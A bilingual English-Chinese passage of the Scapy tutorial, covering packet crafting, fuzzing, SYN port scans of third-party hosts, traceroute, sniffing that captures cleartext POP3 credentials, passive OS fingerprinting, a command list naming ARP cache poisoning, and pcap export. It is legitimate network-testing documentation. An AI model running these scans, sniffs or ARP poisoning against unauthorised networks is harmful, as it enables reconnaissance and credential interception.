Generating sets of packets

生成数据包集

For the moment, we have only generated one packet.

目前，我们仅仅是构造了一个数据包，下面我们可以怎么样很容易的生成一个数据包集，整个数据包的每个字段我们都可以自己定义，

This implicidely define a set of packets, generated using a kind of cartesian product between all the fields.

每个定义的数据包Scapy可以在每个字段中间生成一个笛卡尔集合

>>> a=IP(dst="www.slashdot.org/30")
>>> a
<IP  dst=Net('www.slashdot.org/30') |>
>>> [p for p in a]
[<IP dst=66.35.250.148 |>, <IP dst=66.35.250.149 |>,
 <IP dst=66.35.250.150 |>, <IP dst=66.35.250.151 |>]
>>> b=IP(ttl=[1,2,(5,9)])
>>> b
<IP ttl=[1, 2, (5, 9)] |>
>>> [p for p in b]
[<IP ttl=1 |>, <IP ttl=2 |>, <IP ttl=5 |>, <IP ttl=6 |>,
 <IP ttl=7 |>, <IP ttl=8 |>, <IP ttl=9 |>]
>>> c=TCP(dport=[80,443])
>>> [p for p in a/c]
[<IP frag=0 proto=TCP dst=66.35.250.148 |<TCP dport=80 |>>,
 <IP frag=0 proto=TCP dst=66.35.250.148 |<TCP dport=443 |>>,
 <IP frag=0 proto=TCP dst=66.35.250.149 |<TCP dport=80 |>>,
 <IP frag=0 proto=TCP dst=66.35.250.149 |<TCP dport=443 |>>,
 <IP frag=0 proto=TCP dst=66.35.250.150 |<TCP dport=80 |>>,
 <IP frag=0 proto=TCP dst=66.35.250.150 |<TCP dport=443 |>>,
 <IP frag=0 proto=TCP dst=66.35.250.151 |<TCP dport=80 |>>,
 <IP frag=0 proto=TCP dst=66.35.250.151 |<TCP dport=443 |>>]

Some operations (like building the string from a packet) can’t work on a set of packets. In these cases, if you forgot to unroll your set of packets, only the first element of the list you forgot to generate will be used to assemble the packet.

Sending packets

发送数据包

Now that we know how to manipulate packets. Let’s see how to send them. The send() function will send packets at layer 3. That is to say it will handle routing and layer 2 for you. The sendp() function will work at layer 2. It’s up to you to choose the right interface and the right link layer protocol.

现在你知道怎么样构造数据包了，下面介绍怎么样发送数据包。用send()方法能够发送3层数据包，用sendp()将处理二层数据包，有你选择正确的接口和正确的链路层协议

>>> send(IP(dst="1.2.3.4")/ICMP())
.
Sent 1 packets.
>>> sendp(Ether()/IP(dst="1.2.3.4",ttl=(1,4)), iface="eth1")
....
Sent 4 packets.
>>> sendp("I'm travelling on Ethernet", iface="eth1", loop=1, inter=0.2)
................^C
Sent 16 packets.
>>> sendp(rdpcap("/tmp/pcapfile")) # tcpreplay
...........
Sent 11 packets.

Fuzzing

The function fuzz() is able to change any default value that is not to be calculated (like checksums) by an object whose value is random and whose type is adapted to the field. This enables to quicky built fuzzing templates and send them in loop. In the following example, the IP layer is normal, and the UDP and NTP layers are fuzzed. The UDP checksum will be correct, the UDP destination port will be overloaded by NTP to be 123 and the NTP version will be forced to be 4. All the other ports will be randomized:

“fuzz()”函数可以通过一个具有随机值、数据类型合适的对象，来改变任何默认值，但该值是不能被计算的（像校验和那样）。这使得可以快速建立循环模糊化测试模板。在下面的例子中，IP层是正常的，UDP层和NTP层被fuzz。UDP的校验和是正确的，UDP的目的端口被NTP重载为123，而且NTP的版本被更变为4.其他所有的端口将被随机分组：

>>> send(IP(dst="target")/fuzz(UDP()/NTP(version=4)),loop=1)
................^C
Sent 16 packets.

Send and receive packets (sr)

发送和接收数据包（“sr”）

Now, let’s try to do some fun things. The sr() function is for sending packets and receiving answers. The function returns a couple of packet and answers, and the unanswered packets. The function sr1() is a variant that only return one packet that answered the packet (or the packet set) sent. The packets must be layer 3 packets (IP, ARP, etc.). The function srp() do the same for layer 2 packets (Ethernet, 802.3, etc.).

现在让我们做一些有趣的事情。“sr()”函数是用来发送数据包和接收应答。该函数返回一对数据包及其应答，还有无应答的数据包。“sr1()”函数是一种变体，用来返回一个应答数据包。发送的数据包必须是第3层报文（IP，ARP等）。“srp()”则是使用第2层报文（以太网，802.3等）。

>>> p=sr1(IP(dst="www.slashdot.org")/ICMP()/"XXXXXXXXXXX")
Begin emission:
...Finished to send 1 packets.
.*
Received 5 packets, got 1 answers, remaining 0 packets
>>> p
<IP version=4L ihl=5L tos=0x0 len=39 id=15489 flags= frag=0L ttl=42 proto=ICMP
 chksum=0x51dd src=66.35.250.151 dst=192.168.5.21 options='' |<ICMP type=echo-reply
 code=0 chksum=0xee45 id=0x0 seq=0x0 |<Raw load='XXXXXXXXXXX'
 |<Padding load='\x00\x00\x00\x00' |>>>>
>>> p.show()
---[ IP ]---
version   = 4L
ihl       = 5L
tos       = 0x0
len       = 39
id        = 15489
flags     =
frag      = 0L
ttl       = 42
proto     = ICMP
chksum    = 0x51dd
src       = 66.35.250.151
dst       = 192.168.5.21
options   = ''
---[ ICMP ]---
   type      = echo-reply
   code      = 0
   chksum    = 0xee45
   id        = 0x0
   seq       = 0x0
---[ Raw ]---
      load      = 'XXXXXXXXXXX'
---[ Padding ]---
         load      = '\x00\x00\x00\x00'

A DNS query (rd = recursion desired). The host 192.168.5.1 is my DNS server. Note the non-null padding coming from my Linksys having the Etherleak flaw:

DNS查询（“rd” = recursion desired）。主机192.168.5.1是我的DNS服务器。注意从我Linksys来的非空填充具有Etherleak缺陷：

>>> sr1(IP(dst="192.168.5.1")/UDP()/DNS(rd=1,qd=DNSQR(qname="www.slashdot.org")))
Begin emission:
Finished to send 1 packets.
..*
Received 3 packets, got 1 answers, remaining 0 packets
<IP version=4L ihl=5L tos=0x0 len=78 id=0 flags=DF frag=0L ttl=64 proto=UDP chksum=0xaf38
 src=192.168.5.1 dst=192.168.5.21 options='' |<UDP sport=53 dport=53 len=58 chksum=0xd55d
 |<DNS id=0 qr=1L opcode=QUERY aa=0L tc=0L rd=1L ra=1L z=0L rcode=ok qdcount=1 ancount=1
 nscount=0 arcount=0 qd=<DNSQR qname='www.slashdot.org.' qtype=A qclass=IN |>
 an=<DNSRR rrname='www.slashdot.org.' type=A rclass=IN ttl=3560L rdata='66.35.250.151' |>
 ns=0 ar=0 |<Padding load='\xc6\x94\xc7\xeb' |>>>>

The “send’n’receive” functions family is the heart of scapy. They return a couple of two lists. The first element is a list of couples (packet sent, answer), and the second element is the list of unanswered packets. These two elements are lists, but they are wrapped by an object to present them better, and to provide them with some methods that do most frequently needed actions:

发送和接收函数族是scapy中的核心部分。它们返回一对两个列表。第一个就是发送的数据包及其应答组成的列表，第二个是无应答数据包组成的列表。为了更好地呈现它们，它们被封装成一个对象，并且提供了一些便于操作的方法：

>>> sr(IP(dst="192.168.8.1")/TCP(dport=[21,22,23]))
Received 6 packets, got 3 answers, remaining 0 packets
(<Results: UDP:0 TCP:3 ICMP:0 Other:0>, <Unanswered: UDP:0 TCP:0 ICMP:0 Other:0>)
>>> ans,unans=_
>>> ans.summary()
IP / TCP 192.168.8.14:20 > 192.168.8.1:21 S ==> Ether / IP / TCP 192.168.8.1:21 > 192.168.8.14:20 RA / Padding
IP / TCP 192.168.8.14:20 > 192.168.8.1:22 S ==> Ether / IP / TCP 192.168.8.1:22 > 192.168.8.14:20 RA / Padding
IP / TCP 192.168.8.14:20 > 192.168.8.1:23 S ==> Ether / IP / TCP 192.168.8.1:23 > 192.168.8.14:20 RA / Padding

If there is a limited rate of answers, you can specify a time interval to wait between two packets with the inter parameter. If some packets are lost or if specifying an interval is not enough, you can resend all the unanswered packets, either by calling the function again, directly with the unanswered list, or by specifying a retry parameter. If retry is 3, scapy will try to resend unanswered packets 3 times. If retry is -3, scapy will resend unanswered packets until no more answer is given for the same set of unanswered packets 3 times in a row. The timeout parameter specify the time to wait after the last packet has been sent:

如果对于应答数据包有速度限制，你可以通过“inter”参数来设置两个数据包之间等待的时间间隔。如果有些数据包丢失了，或者设置时间间隔不足以满足要求，你可以重新发送所有无应答数据包。你可以简单地对无应答数据包列表再调用一遍函数，或者去设置“retry”参数。如果retry设置为3，scapy会对无应答的数据包重复发送三次。如果retry设为-3，scapy则会一直发送无应答的数据包，直到“timeout”参数等待最后一个数据包已发送的时间。

>>> sr(IP(dst="172.20.29.5/30")/TCP(dport=[21,22,23]),inter=0.5,retry=-2,timeout=1)
Begin emission:
Finished to send 12 packets.
Begin emission:
Finished to send 9 packets.
Begin emission:
Finished to send 9 packets.

Received 100 packets, got 3 answers, remaining 9 packets
(<Results: UDP:0 TCP:3 ICMP:0 Other:0>, <Unanswered: UDP:0 TCP:9 ICMP:0 Other:0>)

SYN Scans

Classic SYN Scan can be initialized by executing the following command from Scapy’s prompt:

在Scapy提示符中执行以下命令，可以对经典的SYN Scan初始化：

>>> sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S"))

The above will send a single SYN packet to Google’s port 80 and will quit after receving a single response:

以上向Google的80端口发送了一个SYN数据包，会在接收到一个应答后退出：

Begin emission:
.Finished to send 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
<IP  version=4L ihl=5L tos=0x20 len=44 id=33529 flags= frag=0L ttl=244
proto=TCP chksum=0x6a34 src=72.14.207.99 dst=192.168.1.100 options=// |
<TCP  sport=www dport=ftp-data seq=2487238601L ack=1 dataofs=6L reserved=0L
flags=SA window=8190 chksum=0xcdc7 urgptr=0 options=[('MSS', 536)] |
<Padding  load='V\xf7' |>>>

From the above output, we can see Google returned “SA” or SYN-ACK flags indicating an open port.

Use either notations to scan ports 400 through 443 on the system:

从以上的输出中可以看出，Google返回了一个SA（SYN-ACK）标志位，表示80端口是开放的。

使用其他标志位扫描一下系统的440到443端口：

>>> sr(IP(dst="192.168.1.1")/TCP(sport=666,dport=(440,443),flags="S"))

or

>>> sr(IP(dst="192.168.1.1")/TCP(sport=RandShort(),dport=[440,441,442,443],flags="S"))

In order to quickly review responses simply request a summary of collected packets:

可以对收集的数据包进行摘要（summary），来快速地浏览响应:

>>> ans,unans = _
>>> ans.summary()
IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:440 S ======> IP / TCP 192.168.1.1:440 > 192.168.1.100:ftp-data RA / Padding
IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:441 S ======> IP / TCP 192.168.1.1:441 > 192.168.1.100:ftp-data RA / Padding
IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:442 S ======> IP / TCP 192.168.1.1:442 > 192.168.1.100:ftp-data RA / Padding
IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:https S ======> IP / TCP 192.168.1.1:https > 192.168.1.100:ftp-data SA / Padding

The above will display stimulus/response pairs for answered probes. We can display only the information we are interested in by using a simple loop:

以上显示了我们在扫描过程中的请求应答对。我们也可以用一个循环来只显示我们感兴趣的信息：

>>> ans.summary( lambda(s,r): r.sprintf("%TCP.sport% \t %TCP.flags%") )
440      RA
441      RA
442      RA
https    SA

Even better, a table can be built using the make_table() function to display information about multiple targets:

可以使用“make_table()”函数建立一个表格，更好地显示多个目标信息：

>>> ans,unans = sr(IP(dst=["192.168.1.1","yahoo.com","slashdot.org"])/TCP(dport=[22,80,443],flags="S"))
Begin emission:
.......*.**.......Finished to send 9 packets.
**.*.*..*..................
Received 362 packets, got 8 answers, remaining 1 packets
>>> ans.make_table(
...    lambda(s,r): (s.dst, s.dport,
...    r.sprintf("{TCP:%TCP.flags%}{ICMP:%IP.src% - %ICMP.type%}")))
    66.35.250.150                192.168.1.1 216.109.112.135
22  66.35.250.150 - dest-unreach RA          -
80  SA                           RA          SA
443 SA                           SA          SA

The above example will even print the ICMP error type if the ICMP packet was received as a response instead of expected TCP.

在以上的例子中，如果接收到作为响应的ICMP数据包而不是预期的TCP数据包，就会打印出ICMP差错类型（error type）。

For larger scans, we could be interested in displaying only certain responses. The example below will only display packets with the “SA” flag set:

对于更大型的扫描，我们可能对某个响应感兴趣，下面的例子就只显示设置了“SA”标志位的数据包：

>>> ans.nsummary(lfilter = lambda (s,r): r.sprintf("%TCP.flags%") == "SA")
0003 IP / TCP 192.168.1.100:ftp_data > 192.168.1.1:https S ======> IP / TCP 192.168.1.1:https > 192.168.1.100:ftp_data SA

In case we want to do some expert analysis of responses, we can use the following command to indicate which ports are open:

如果我们想对响应进行专业分析，我们可以使用以下的命令显示哪些端口是开放的：

>>> ans.summary(lfilter = lambda (s,r): r.sprintf("%TCP.flags%") == "SA",prn=lambda(s,r):r.sprintf("%TCP.sport% is open"))
https is open

Again, for larger scans we can build a table of open ports:

对于更大型的扫描，我们可以建立一个端口开放表：

>>> ans.filter(lambda (s,r):TCP in r and r[TCP].flags&2).make_table(lambda (s,r):
...             (s.dst, s.dport, "X"))
    66.35.250.150 192.168.1.1 216.109.112.135
80  X             -           X
443 X             X           X

If all of the above methods were not enough, Scapy includes a report_ports() function which not only automates the SYN scan, but also produces a LaTeX output with collected results:

如果以上的方法还不够，Scapy还包含一个“report_ports()”函数，该函数不仅可以自动化SYN scan，而且还会对收集的结果以LaTeX形式输出：

>>> report_ports("192.168.1.1",(440,443))
Begin emission:
...*.**Finished to send 4 packets.
*
Received 8 packets, got 4 answers, remaining 0 packets
'\\begin{tabular}{|r|l|l|}\n\\hline\nhttps & open & SA \\\\\n\\hline\n440
 & closed & TCP RA \\\\\n441 & closed & TCP RA \\\\\n442 & closed &
TCP RA \\\\\n\\hline\n\\hline\n\\end{tabular}\n'

TCP traceroute

A TCP traceroute:

TCP路由追踪：

>>> ans,unans=sr(IP(dst=target, ttl=(4,25),id=RandShort())/TCP(flags=0x2))
*****.******.*.***..*.**Finished to send 22 packets.
***......
Received 33 packets, got 21 answers, remaining 1 packets
>>> for snd,rcv in ans:
...     print snd.ttl, rcv.src, isinstance(rcv.payload, TCP)
...
5 194.51.159.65 0
6 194.51.159.49 0
4 194.250.107.181 0
7 193.251.126.34 0
8 193.251.126.154 0
9 193.251.241.89 0
10 193.251.241.110 0
11 193.251.241.173 0
13 208.172.251.165 0
12 193.251.241.173 0
14 208.172.251.165 0
15 206.24.226.99 0
16 206.24.238.34 0
17 173.109.66.90 0
18 173.109.88.218 0
19 173.29.39.101 1
20 173.29.39.101 1
21 173.29.39.101 1
22 173.29.39.101 1
23 173.29.39.101 1
24 173.29.39.101 1

Note that the TCP traceroute and some other high-level functions are already coded:

注意：TCP路由跟踪和其他高级函数早已被构造好了：

>>> lsc()
sr               : Send and receive packets at layer 3
sr1              : Send packets at layer 3 and return only the first answer
srp              : Send and receive packets at layer 2
srp1             : Send and receive packets at layer 2 and return only the first answer
srloop           : Send a packet at layer 3 in loop and print the answer each time
srploop          : Send a packet at layer 2 in loop and print the answer each time
sniff            : Sniff packets
p0f              : Passive OS fingerprinting: which OS emitted this TCP SYN ?
arpcachepoison   : Poison target's cache with (your MAC,victim's IP) couple
send             : Send packets at layer 3
sendp            : Send packets at layer 2
traceroute       : Instant TCP traceroute
arping           : Send ARP who-has requests to determine which hosts are up
ls               : List  available layers, or infos on a given layer
lsc              : List user commands
queso            : Queso OS fingerprinting
nmap_fp          : nmap fingerprinting
report_ports     : portscan a target and output a LaTeX table
dyndns_add       : Send a DNS add message to a nameserver for "name" to have a new "rdata"
dyndns_del       : Send a DNS delete message to a nameserver for "name"
[...]

Configuring super sockets

配置高级sockets

The process of sending packets and receiving is quite complicated. As I wanted to use the PF_PACKET interface to go through netfilter, I also needed to implement an ARP stack and ARP cache, and a LL stack. Well it seems to work, on ethernet and PPP interfaces, but I don’t guarantee anything. Anyway, the fact I used a kind of super-socket for that mean that you can switch your IO layer very easily, and use PF_INET/SOCK_RAW, or use PF_PACKET at level 2 (giving the LL header (ethernet,...) and giving yourself mac addresses, ...). I’ve just added a super socket which use libdnet and libpcap, so that it should be portable:

发送和接收数据包的过程是相当复杂的。我想用PF_PACKET接口来通过netfilter，我也需要实现一个ARP堆栈、ARP缓存和一个堆栈。在以太网和ppp接口上看来可以工作，但我不保证任何事情。不管怎样,事实上我使用一种super-socket，这意味着你可以很容易的切换IO层，并使用PF_INET / SOCK_RAW，或者使用PF_PACKET的级别2(得到LL头(以太网,…)和自己的mac地址,…)。我刚刚添加了一个使用libdnet和libpcap,的super socket，所以它应该可以移植：

>>> conf.L3socket=L3dnetSocket
>>> conf.L3listen=L3pcapListenSocket

Sniffing

We can easily capture some packets or even clone tcpdump or tethereal. If no interface is given, sniffing will happen on every interfaces:

我们可以简单地捕获数据包，或者是克隆tcpdump或tethereal的功能。如果没有指定接口，则会 在所有的接口上进行嗅探：

>>>  sniff(filter="icmp and host 66.35.250.151", count=2)
<Sniffed: UDP:0 TCP:0 ICMP:2 Other:0>
>>>  a=_
>>>  a.nsummary()
0000 Ether / IP / ICMP 192.168.5.21 echo-request 0 / Raw
0001 Ether / IP / ICMP 192.168.5.21 echo-request 0 / Raw
>>>  a[1]
<Ether dst=00:ae:f3:52:aa:d1 src=00:02:15:37:a2:44 type=0x800 |<IP version=4L
 ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=ICMP chksum=0x3831
 src=192.168.5.21 dst=66.35.250.151 options='' |<ICMP type=echo-request code=0
 chksum=0x6571 id=0x8745 seq=0x0 |<Raw load='B\xf7g\xda\x00\x07um\x08\t\n\x0b
 \x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d
 \x1e\x1f !\x22#$%&\'()*+,-./01234567' |>>>>
>>> sniff(iface="wifi0", prn=lambda x: x.summary())
802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates
802.11 Management 5 00:0a:41:ee:a5:50 / 802.11 Probe Response / Info SSID / Info Rates / Info DSset / Info 133
802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates
802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates
802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
802.11 Management 11 00:07:50:d6:44:3f / 802.11 Authentication
802.11 Management 11 00:0a:41:ee:a5:50 / 802.11 Authentication
802.11 Management 0 00:07:50:d6:44:3f / 802.11 Association Request / Info SSID / Info Rates / Info 133 / Info 149
802.11 Management 1 00:0a:41:ee:a5:50 / 802.11 Association Response / Info Rates / Info 133 / Info 149
802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
802.11 / LLC / SNAP / ARP who has 172.20.70.172 says 172.20.70.171 / Padding
802.11 / LLC / SNAP / ARP is at 00:0a:b7:4b:9c:dd says 172.20.70.172 / Padding
802.11 / LLC / SNAP / IP / ICMP echo-request 0 / Raw
802.11 / LLC / SNAP / IP / ICMP echo-reply 0 / Raw
>>> sniff(iface="eth1", prn=lambda x: x.show())
---[ Ethernet ]---
dst       = 00:ae:f3:52:aa:d1
src       = 00:02:15:37:a2:44
type      = 0x800
---[ IP ]---
   version   = 4L
   ihl       = 5L
   tos       = 0x0
   len       = 84
   id        = 0
   flags     = DF
   frag      = 0L
   ttl       = 64
   proto     = ICMP
   chksum    = 0x3831
   src       = 192.168.5.21
   dst       = 66.35.250.151
   options   = ''
---[ ICMP ]---
      type      = echo-request
      code      = 0
      chksum    = 0x89d9
      id        = 0xc245
      seq       = 0x0
---[ Raw ]---
         load      = 'B\xf7i\xa9\x00\x04\x149\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\x22#$%&\'()*+,-./01234567'
---[ Ethernet ]---
dst       = 00:02:15:37:a2:44
src       = 00:ae:f3:52:aa:d1
type      = 0x800
---[ IP ]---
   version   = 4L
   ihl       = 5L
   tos       = 0x0
   len       = 84
   id        = 2070
   flags     =
   frag      = 0L
   ttl       = 42
   proto     = ICMP
   chksum    = 0x861b
   src       = 66.35.250.151
   dst       = 192.168.5.21
   options   = ''
---[ ICMP ]---
      type      = echo-reply
      code      = 0
      chksum    = 0x91d9
      id        = 0xc245
      seq       = 0x0
---[ Raw ]---
         load      = 'B\xf7i\xa9\x00\x04\x149\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\x22#$%&\'()*+,-./01234567'
---[ Padding ]---
            load      = '\n_\x00\x0b'

For even more control over displayed information we can use the sprintf() function:

对于控制输出信息，我们可以使用“sprintf()”函数：

>>> pkts = sniff(prn=lambda x:x.sprintf("{IP:%IP.src% -> %IP.dst%\n}{Raw:%Raw.load%\n}"))
192.168.1.100 -> 64.233.167.99

64.233.167.99 -> 192.168.1.100

192.168.1.100 -> 64.233.167.99

192.168.1.100 -> 64.233.167.99
'GET / HTTP/1.1\r\nHost: 64.233.167.99\r\nUser-Agent: Mozilla/5.0
(X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy)
Firefox/2.0.0.8\r\nAccept: text/xml,application/xml,application/xhtml+xml,
text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Language:
en-us,en;q=0.5\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset:
ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nKeep-Alive: 300\r\nConnection:
keep-alive\r\nCache-Control: max-age=0\r\n\r\n'

We can sniff and do passive OS fingerprinting:

我们可以嗅探并进行被动操作系统指纹识别：

>>> p
<Ether dst=00:10:4b:b3:7d:4e src=00:40:33:96:7b:60 type=0x800 |<IP version=4L
 ihl=5L tos=0x0 len=60 id=61681 flags=DF frag=0L ttl=64 proto=TCP chksum=0xb85e
 src=192.168.8.10 dst=192.168.8.1 options='' |<TCP sport=46511 dport=80
 seq=2023566040L ack=0L dataofs=10L reserved=0L flags=SEC window=5840
 chksum=0x570c urgptr=0 options=[('Timestamp', (342940201L, 0L)), ('MSS', 1460),
 ('NOP', ()), ('SAckOK', ''), ('WScale', 0)] |>>>
>>> load_module("p0f")
>>> p0f(p)
(1.0, ['Linux 2.4.2 - 2.4.14 (1)'])
>>> a=sniff(prn=prnp0f)
(1.0, ['Linux 2.4.2 - 2.4.14 (1)'])
(1.0, ['Linux 2.4.2 - 2.4.14 (1)'])
(0.875, ['Linux 2.4.2 - 2.4.14 (1)', 'Linux 2.4.10 (1)', 'Windows 98 (?)'])
(1.0, ['Windows 2000 (9)'])

The number before the OS guess is the accurracy of the guess.

猜测操作系统版本前的数字为猜测的精确度。

Filters

Demo of both bpf filter and sprintf() method:

演示一下bpf过滤器和sprintf()方法：

>>> a=sniff(filter="tcp and ( port 25 or port 110 )",
 prn=lambda x: x.sprintf("%IP.src%:%TCP.sport% -> %IP.dst%:%TCP.dport%  %2s,TCP.flags% : %TCP.payload%"))
192.168.8.10:47226 -> 213.228.0.14:110   S :
213.228.0.14:110 -> 192.168.8.10:47226  SA :
192.168.8.10:47226 -> 213.228.0.14:110   A :
213.228.0.14:110 -> 192.168.8.10:47226  PA : +OK <13103.1048117923@pop2-1.free.fr>

192.168.8.10:47226 -> 213.228.0.14:110   A :
192.168.8.10:47226 -> 213.228.0.14:110  PA : USER toto

213.228.0.14:110 -> 192.168.8.10:47226   A :
213.228.0.14:110 -> 192.168.8.10:47226  PA : +OK

192.168.8.10:47226 -> 213.228.0.14:110   A :
192.168.8.10:47226 -> 213.228.0.14:110  PA : PASS tata

213.228.0.14:110 -> 192.168.8.10:47226  PA : -ERR authorization failed

192.168.8.10:47226 -> 213.228.0.14:110   A :
213.228.0.14:110 -> 192.168.8.10:47226  FA :
192.168.8.10:47226 -> 213.228.0.14:110  FA :
213.228.0.14:110 -> 192.168.8.10:47226   A :

Send and receive in a loop

在循环中接收和发送

Here is an example of a (h)ping-like functionnality : you always send the same set of packets to see if something change:

这儿有一个例子来实现类似(h)ping的功能：你一直发送同样的数据包集合来观察是否发生变化：

>>> srloop(IP(dst="www.target.com/30")/TCP())
RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding
fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S
        IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S
        IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S
RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding
fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S
        IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S
        IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S
RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding
fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S
        IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S
        IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S
RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding
fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S
        IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S
        IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S

Importing and Exporting Data

导入和导出数据

PCAP

It is often useful to save capture packets to pcap file for use at later time or with different applications

通常可以将数据包保存为pcap文件以备后用，或者是供其他的应用程序使用：

>>> wrpcap("temp.cap",pkts)

To restore previously saved pcap file:

还原之前保存的pcap文件：

>>> pkts = rdpcap("temp.cap")

or

>>> pkts = sniff(offline="temp.cap")

Hexdump

Scapy allows you to export recorded packets in various hex formats.

Scapy允许你以不同的十六进制格式输出编码的数据包。

Use hexdump() to display one or more packets using classic hexdump format:

使用“hexdump()”函数会以经典的hexdump格式输出数据包：

>>> hexdump(pkt)
0000   00 50 56 FC CE 50 00 0C  29 2B 53 19 08 00 45 00   .PV..P..)+S...E.
0010   00 54 00 00 40 00 40 01  5A 7C C0 A8 19 82 04 02   .T..@.@.Z|......
0020   02 01 08 00 9C 90 5A 61  00 01 E6 DA 70 49 B6 E5   ......Za....pI..
0030   08 00 08 09 0A 0B 0C 0D  0E 0F 10 11 12 13 14 15   ................
0040   16 17 18 19 1A 1B 1C 1D  1E 1F 20 21 22 23 24 25   .......... !"#$%
0050   26 27 28 29 2A 2B 2C 2D  2E 2F 30 31 32 33 34 35   &'()*+,-./012345
0060   36 37                                              67

Hexdump above can be reimported back into Scapy using import_hexcap():

使用“import_hexcap()”函数可以将以上的hexdump重新导入到Scapy中：

>>> pkt_hex = Ether(import_hexcap())
0000   00 50 56 FC CE 50 00 0C  29 2B 53 19 08 00 45 00   .PV..P..)+S...E.
0010   00 54 00 00 40 00 40 01  5A 7C C0 A8 19 82 04 02   .T..@.@.Z|......
0020   02 01 08 00 9C 90 5A 61  00 01 E6 DA 70 49 B6 E5   ......Za....pI..
0030   08 00 08 09 0A 0B 0C 0D  0E 0F 10 11 12 13 14 15   ................
0040   16 17 18 19 1A 1B 1C 1D  1E 1F 20 21 22 23 24 25   .......... !"#$%
0050   26 27 28 29 2A 2B 2C 2D  2E 2F 30 31 32 33 34 35   &'()*+,-./012345
0060   36 37                                              67
>>> pkt_hex
<Ether  dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP  version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP  type=echo-request code=0
chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw  load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e
\x1f !"#$%&\'()*+,-./01234567' |>>>>

Hex string

You can also convert entire packet into a hex string using the str() function:

使用“str()”函数可以将整个数据包转换成十六进制字符串： 

>>> pkts = sniff(count = 1)
>>> pkt = pkts[0]
>>> pkt
<Ether  dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP  version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP  type=echo-request code=0
chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw  load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e
\x1f !"#$%&\'()*+,-./01234567' |>>>>
>>> pkt_str = str(pkt)
>>> pkt_str
'\x00PV\xfc\xceP\x00\x0c)+S\x19\x08\x00E\x00\x00T\x00\x00@\x00@\x01Z|\xc0\xa8
\x19\x82\x04\x02\x02\x01\x08\x00\x9c\x90Za\x00\x01\xe6\xdapI\xb6\xe5\x08\x00
\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b
\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567'

We can reimport the produced hex string by selecting the appropriate starting layer (e.g. Ether()).

通过选择合适的起始层（例如“Ether()”），我们可以重新导入十六进制字符串。

>>> new_pkt = Ether(pkt_str)
>>> new_pkt
<Ether  dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP  version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP  type=echo-request code=0
chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw  load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
